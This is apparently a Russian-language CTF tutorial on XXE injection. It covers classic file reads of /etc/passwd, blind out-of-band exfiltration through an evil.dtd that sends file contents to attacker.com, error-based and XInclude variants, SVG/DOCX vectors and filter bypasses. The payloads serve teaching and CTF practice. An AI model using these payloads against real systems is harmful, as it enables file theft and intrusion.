
На CTF-турнире формата Jeopardy задача в категории Web на 200 очков выглядела до смешного просто: HTML-форма принимает XML, сервер возвращает результат валидации. Стандартный payload с <!ENTITY xxe SYSTEM "file:///etc/passwd"> — содержимое файла в ответе через полсекунды. Флаг лежал в /flag.txt, задача закрыта за четыре минуты.
Следующий таск на 500 очков: тот же XML-эндпоинт, тот же payload — ответ пустой. Парсер сущности обрабатывал, но наружу не отдавал ничего. Пришлось поднимать interactsh и уходить в out-of-band эксфильтрацию данных через DNS. На это ушёл час.
Разница между двумя задачами — не в сложности уязвимости, а в технике эксплуатации. Здесь разберём обе ситуации пошагово: от базового чтения файлов до blind XXE с обходом фильтров.
XXE инъекция — уязвимость веб-приложений, при которой XML-парсер обрабатывает внешние сущности, определённые атакующим. По классификации OWASP, категория XML External Entities (бывшая A04:2017-XXE) в OWASP Top 10 2021 была объединена с A05:2021-Security Misconfiguration. Источник — небезопасные дефолты XML-парсера или явное включение обработки внешних сущностей в коде. В терминах MITRE CWE это CWE-611: Improper Restriction of XML External Entity Reference. Последствия: чтение произвольных файлов (Confidentiality: Read Application Data), отказ в обслуживании (Availability: DoS: Resource Consumption) и обход механизмов защиты (Integrity: Bypass Protection Mechanism) — всё по описанию CWE-611. Подробнее — в нашем подробном разборе пентест веб-приложений.
Насколько это критично на практике: CVE-2018-1000838 — XXE-уязвимость в Autopsy (инструмент цифровой форензики) версий до 4.9.0. CVSS 3.0 score 10.0 (Critical), вектор CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (указан в OSV.dev / GitHub Security Advisory; в NVD score не присвоен). Сетевая эксплуатация без аутентификации, без взаимодействия пользователя, с воздействием на все три свойства безопасности. EPSS-показатель — 0.0250, выше 82% всех записей в базе по вероятности активной эксплуатации. Десятка из десяти — за XML-парсинг. Есть о чём задуматься.
Для CTF достаточно понимать три вещи. Первая — DTD (Document Type Definition), блок <!DOCTYPE> в начале XML-документа, описывающий допустимую структуру. Вторая — Entity, аналог переменной: определяешь имя и значение, потом подставляешь через &имя;. Третья — ключевое слово SYSTEM, которое говорит парсеру: «загрузи значение сущности из внешнего ресурса — файла или URL». Именно SYSTEM превращает безобидную XML-фичу в вектор атаки.
Структура XXE payload: внутри <!DOCTYPE> объявляется <!ENTITY> с ключевым словом SYSTEM и URI ресурса (протокол file:/// для локальных файлов, http:// для сетевых). Затем сущность вызывается внутри XML-тега через &имя;. Если парсер разрешает внешние сущности — он подставляет содержимое ресурса на место вызова.
Рядом ходит CWE-827: Improper Control of Document Type Definition — ситуация, когда приложение не ограничивает ссылки на произвольные DTD. CWE-827 может предшествовать атаке Billion Laughs (CWE-776) — рекурсивному определению сущностей для исчерпания ресурсов. На CTF такое тоже встречается, но реже.
В терминах MITRE ATT&CK XXE инъекция покрывает сразу несколько тактик. Входная точка — Exploit Public-Facing Application (T1190, Initial Access): атакующий эксплуатирует XML-эндпоинт, доступный извне. Дальше — несколько веток:
file:///. В Java-парсерах запрос к file:///etc/ возвращает листинг директории — факт, подтверждённый на HackTricks. Приятный бонус, которого нет в других парсерах./etc/shadow, .env, wp-config.php, application.properties с подключениями к базам.В реальном пентесте XXE часто становится точкой входа для SSRF-атаки (OWASP A10:2021): через сущность с http://169.254.169.254/latest/meta-data/ атакующий получает токены облачных сервисов AWS/GCP/Azure. В CTF эту цепочку обычно симулируют отдельным таском, где XXE ведёт к чтению внутреннего сервиса.
[Применимо: внешний пентест — XML-эндпоинты, SOAP-сервисы, загрузка файлов; внутренний пентест — внутренние API, legacy-интеграции]
Базовый сценарий, который встречается в 80% CTF-задач начального уровня на XXE. Парсер обрабатывает внешнюю сущность и возвращает её содержимое в HTTP-ответе — прямо в теле страницы или в сообщении об ошибке.
curl, Python 3.8+interactsh-client (установка: go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest) или Burp Collaborator (требует Pro-версию)Допустим, CTF-задача предлагает XML-форму, которая отправляет данные на эндпоинт. Перехватываешь запрос через Burp Suite и видишь тело вида <data><name>test</name></data>. Первый шаг — проверить, обрабатывает ли парсер сущности вообще. Определяешь внутреннюю сущность <!ENTITY test "hello"> и подставляешь &test; в один из XML-тегов. Если ответ содержит "hello" — парсер сущности жуёт, можно переходить к внешним.
Следующий шаг — подстановка SYSTEM-сущности для чтения файла:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data><name>&xxe;</name></data>
Если парсер разрешает внешние сущности, ответ будет содержать строки вида root:x:0:0:root:/root:/bin/bash. В CTF флаг обычно лежит в /flag.txt, /home/ctf/flag, /var/www/flag — стоит перебрать стандартные пути.
Что делать, если file:///etc/passwd не возвращает результат: подставь сущность в другой тег (не все теги отражаются в ответе), попробуй указать элемент как <!ELEMENT foo ANY> перед определением сущности, проверь — может, фильтруется слово "passwd". Тогда запроси /etc/hostname или /proc/self/environ.
Для PHP-бэкендов полезен wrapper php://filter/convert.base64-encode/resource=/etc/passwd вместо file:/// — он возвращает base64-кодированное содержимое, что обходит проблему с многострочными файлами и спецсимволами. Приём из каталога HackTricks, проверен на PortSwigger-лабах.
Ограничения классической XXE: техника работает только если значение сущности попадает в HTTP-ответ. На практике — тег, в который подставлена сущность, должен отображаться на странице или в теле ответа. Если приложение обрабатывает XML молча (возвращает только статус 200 OK без отражения данных) — нужен blind-подход.
Blind XXE — ситуация, при которой парсер обрабатывает внешние сущности, но не возвращает их значения в ответе. В CTF это задачи на 300-500 очков: уязвимость есть, но прямого способа прочитать данные нет. Как пишут PortSwigger (Tier-1 research): «blind XXE vulnerabilities can still be detected and exploited, but more advanced techniques are required».
Первый шаг — подтвердить, что парсер вообще обрабатывает сущности. Для этого — out-of-band callback: определяешь сущность с http://ваш-сервер.com/test и смотришь, приходит ли запрос. Инструменты для приёма callback: interactsh-client (бесплатный, open-source от ProjectDiscovery) или Burp Collaborator. Если HTTP-запрос не проходит (egress-фильтрация на порту 80/443), пробуешь DNS: определяешь сущность вида http://subdomain.your-interactsh-domain — DNS-запрос часто проходит даже при жёсткой фильтрации исходящего HTTP-трафика. DNS — последний рубеж, его режут редко.
Ключевая техника blind XXE: заставить парсер загрузить внешний DTD-файл с вашего сервера. Этот DTD содержит цепочку параметрических сущностей, которая читает файл на целевой машине и отправляет его содержимое в HTTP-запросе к вам. Механизм детально описан на PortSwigger и HackTricks.
На контролируемом сервере создаётся файл evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://attacker.com/?d=%file;'>">
%eval;
%exfil;
Здесь %file читает /etc/hostname, %eval динамически объявляет %exfil, которая отправляет содержимое файла в параметре HTTP-запроса на ваш сервер. В основном XML-запросе к уязвимому приложению подключается этот внешний DTD: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>.
Когда парсер обрабатывает XML, он загружает evil.dtd, выполняет цепочку сущностей — и на ваш сервер приходит GET-запрос с содержимым файла в query string. interactsh-client покажет и DNS-обращение, и HTTP-запрос с данными. Красота.
Ограничения blind XXE через OOB:
- Многострочные файлы (например, /etc/passwd) ломают URL-формат — тут используй FTP-эксфильтрацию или base64-кодирование через PHP-wrapper
- Если сервер не может установить исходящее соединение (строгий egress-файрвол) — OOB не работает, остаётся error-based подход
- Параметрические сущности (%entity) поддерживаются не всеми парсерами — Expat (Python xml.etree) их не обрабатывает, libxml2 (PHP) и Java SAX/DOM — обрабатывают
Когда OOB-канал недоступен, есть ещё один путь: спровоцировать ошибку парсера, которая содержит данные из файла. Идея: определить сущность с содержимым файла, затем использовать её как часть имени несуществующего файла. Парсер попытается загрузить file:///nonexistent/СОДЕРЖИМОЕ_ФАЙЛА — и выбросит ошибку с полным путём, включая данные.
Техника требует, чтобы приложение возвращало ошибки парсера в HTTP-ответе. В CTF встречается реже, но проверить стоит: отправь намеренно некорректный XML (незакрытый тег) и посмотри, возвращается ли сообщение об ошибке. Если да — error-based XXE возможна. Если приложение возвращает generic-ошибку типа "Invalid XML" — мимо, не сработает.
Русскоязычные источники эти векторы почти не покрывают, хотя в CTF они попадаются регулярно.
SVG-файлы — это XML. Если приложение принимает загрузку изображений и обрабатывает их серверной библиотекой (ImageMagick, librsvg, встроенные Java-обработчики), SVG с XXE payload будет распарсен. Конструкция: внутри <svg> тега определяешь DOCTYPE с внешней сущностью и вызываешь её в атрибуте <text>. Если обработчик рендерит SVG — значение сущности попадёт в результат.
Office-документы (DOCX, XLSX, PPTX) — ZIP-архивы с XML-файлами внутри. Файл [Content_Types].xml, word/document.xml, xl/sharedStrings.xml — все они парсятся при обработке документа. В CTF-задачах на загрузку резюме, импорт таблиц или конвертацию документов стоит проверить: распаковать архив, внедрить XXE payload в один из XML-файлов, запаковать обратно. По данным YesWeHack (Tier-2 vendor): «a resume-screening platform parsing DOCX resumes, an invoice system processing XLSX spreadsheets — all rely on XML parsers». CVE-2019-0340 — пример из реального мира: XXE в SAP Enable Now через загрузку файлов, CWE-611.
Я на CTF однажды потратил 40 минут на поиск XML-эндпоинта, пока не догадался загрузить DOCX. Эндпоинт был один — форма загрузки документов. Внутри [Content_Types].xml классический payload — и флаг в ответе.
Подмена Content-Type — ещё один вектор, который упускают из виду. Если API принимает JSON (Content-Type: application/json), попробуй сменить заголовок на Content-Type: application/xml и отправить XML-версию тех же данных. Фреймворки вроде Spring Boot и Express с определёнными конфигурациями автоматически вызывают XML-парсер при получении XML Content-Type, даже если разработчики не планировали поддержку XML. В CTF это встречается в задачах, где JSON API — видимая поверхность, а XML — скрытая.
Задачи повышенной сложности включают фильтрацию ввода: блокируется слово "SYSTEM", удаляется DOCTYPE, проверяется наличие строки "file://". Разберём основные техники обхода.
UTF-7 кодирование. Если парсер поддерживает кодировку UTF-7, можно закодировать весь payload в UTF-7, указав <?xml version="1.0" encoding="UTF-7"?>. Ключевые слова SYSTEM и DOCTYPE будут выглядеть иначе на уровне байтов и пройдут текстовые фильтры. Приём описан на HackTricks как применимый к определённым конфигурациям libxml2. Работает не везде, но проверить — дело десяти секунд.
HTML-сущности внутри DTD. При определении параметрических сущностей в external DTD можно использовать % вместо %, ' вместо кавычек. Обходит фильтры, работающие на уровне строкового сравнения.
Base64 через PHP-wrapper. Для PHP-бэкендов payload php://filter/convert.base64-encode/resource=файл обходит фильтры, которые ищут строку file:///. Ответ приходит в base64, декодируешь через base64 -d.
Иногда контролируешь только часть XML-документа — например, одно поле в SOAP-запросе. Добавить DOCTYPE невозможно, потому что корневой элемент не твой. Здесь работает XInclude — механизм из спецификации XML, позволяющий встраивать содержимое внешних ресурсов без DOCTYPE.
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
Вставляешь этот фрагмент вместо значения контролируемого поля. Если серверный парсер поддерживает XInclude (а libxml2 и Java DOM поддерживают), он подставит содержимое файла. Не нужен ни DOCTYPE, ни ENTITY — только namespace http://www.w3.org/2001/XInclude и тег xi:include. В CTF этот вектор часто проверяет знание спецификации XML за пределами стандартных payload-шаблонов.
Ограничение: XInclude работает, только если парсер сконфигурирован с поддержкой этого механизма. В Java для DocumentBuilderFactory это отдельная настройка: setXIncludeAware(true). По умолчанию она отключена в новых версиях. В libxml2 поддержка XInclude включена, если используется флаг LIBXML_XINCLUDE. В Python lxml — через метод xinclude() на распарсенном дереве.
Существенная часть CTF-задач на XXE строится на эксплуатации legacy-конфигураций или намеренно ослабленных парсеров. В реальном пентесте ситуация сложнее — современные парсеры по умолчанию блокируют внешние сущности. Вот где что происходит.
Python xml.etree.ElementTree — использует Expat под капотом. Expat сам по себе поддерживает обработку external SYSTEM entities, но Python-обёртки (xml.etree, xml.sax) с Python 3.7.1+ конфигурируют Expat так, чтобы external entity resolution был отключён по умолчанию. Внутренние сущности и DTD обрабатываются — парсер потенциально уязвим к billion laughs (CWE-776). XXE возникает в legacy-коде (Python < 3.7.1) или при явном включении. Для безопасной работы с XML рекомендуется defusedxml. А вот lxml (обёртка над libxml2) может обрабатывать внешние сущности при определённых настройках: если XMLParser создан с resolve_entities=True и no_network=False. По данным YesWeHack: «Python's xml.etree ship with secure defaults that reject external entities unless explicitly configured otherwise».
Java DocumentBuilderFactory — в современных версиях (JDK 13+) внешние сущности отключены по умолчанию. Но legacy-приложения на JDK 8 без явного вызова setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) остаются уязвимыми. В CTF Java-бэкенды часто оставляют с дефолтными настройками старых версий. Java-специфика, которую стоит запомнить: запрос к file:///etc/ (директория, не файл) возвращает листинг каталога — этого не умеет ни один другой парсер. Описано на HackTricks.
PHP libxml — в libxml2 ≥ 2.9.0 (2012) загрузка внешних сущностей отключена по умолчанию на уровне библиотеки. PHP 8.0+ дополнительно объявил libxml_disable_entity_loader() deprecated — функция стала бессмысленной, entity loader выключен по умолчанию. Но CTF-задачи часто используют PHP 5.x/7.x c явным вызовом libxml_disable_entity_loader(false) и флагами LIBXML_NOENT | LIBXML_DTDLOAD — именно такой код приведён в нескольких русскоязычных источниках как учебный пример. По документам — entity loader отключён. На практике в CTF — включён обратно руками.
Expat (C-библиотека, используется в Python xml.parsers.expat) — не выполняет автоматическую загрузку внешних параметрических сущностей (external parameter entities) без явной установки XML_SetExternalEntityRefHandler. Из-за этого классическая OOB-цепочка через external DTD с %eval/%exfil не работает. На уровне самой библиотеки классические SYSTEM-сущности поддерживаются, но Python-обёртки с версии 3.7.1+ отключают их resolution по умолчанию. Без автоматической загрузки внешних параметрических сущностей blind XXE через Expat заблокирован. Если видишь Python-бэкенд на CTF — первым делом проверяй, не lxml ли там под капотом.
Практическое правило для CTF: если задача на XXE — парсер почти наверняка сконфигурирован уязвимо. Вопрос не "есть ли уязвимость", а "какая техника сработает". Проверяй в таком порядке: классическая внешняя сущность → параметрическая сущность с OOB callback → XInclude → подмена Content-Type → загрузка SVG/DOCX.
Реальные CVE подтверждают, что XXE встречается не только в учебных примерах. CVE-2019-12154 — XXE в XML-парсере RealObjects PDFreactor (CWE-611), раскрытие локальных файлов. CVE-2019-12153 — SSRF в том же продукте (CWE-918) через HTML-парсер, не валидирующий внешние ресурсы. Оба в одном продукте — типичная картина: если нашёл один класс парсерных уязвимостей, рядом найдутся и другие.
<!ENTITY test "123"> и проверить отражение &test; в ответеfile:///etc/passwd — если данные в ответе, переходить к чтению флагаinteractsh-client, подставить callback-URL в SYSTEM, проверить DNS/HTTPapplication/xml для JSON APIКаждый шаг — отдельная проверка с чётким ответом "да/нет". В CTF время ограничено, и систематический подход экономит минуты. Я видел, как люди тратят полчаса, перебирая payload наугад, хотя по чеклисту дошли бы до ответа за пять минут.
За последние пару лет на CTF-турнирах сложность XXE-задач заметно выросла. Чистый классический file:///etc/passwd встречается всё реже — организаторы добавляют фильтры, слепые эндпоинты, нестандартные форматы ввода. Но фундамент тот же: парсер обрабатывает XML, и если он разрешает внешние сущности — данные можно извлечь. Меняются только техники доставки payload и каналы эксфильтрации. Понимание того, как устроен парсер конкретного языка (Java DOM vs PHP libxml vs Python lxml), даёт преимущество перед участниками, которые копируют готовые payload из чит-шитов без понимания механики.
Вот что я замечаю в CTF-сообществе: люди заучивают стандартный XXE payload и сдаются, когда он не срабатывает с первого раза. При этом задача может требовать всего лишь замены file:/// на php://filter/ или добавления <!ELEMENT foo ANY>. Разница между "знаю один payload" и "понимаю, как парсер обрабатывает DTD" — это разница между 200 и 500 очков за таск. XXE — не устаревшая уязвимость: по данным OWASP, Security Misconfiguration (куда входит XXE) стабильно держится в Top 10, а EPSS-показатели реальных CVE с CWE-611 находятся выше 80-го перцентиля. Если хочешь не просто копировать writeup, а пройти всю атаку от разведки до эксфильтрации самому — на WAPT эту цепочку разбирают в лабах с прогрессией сложности.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...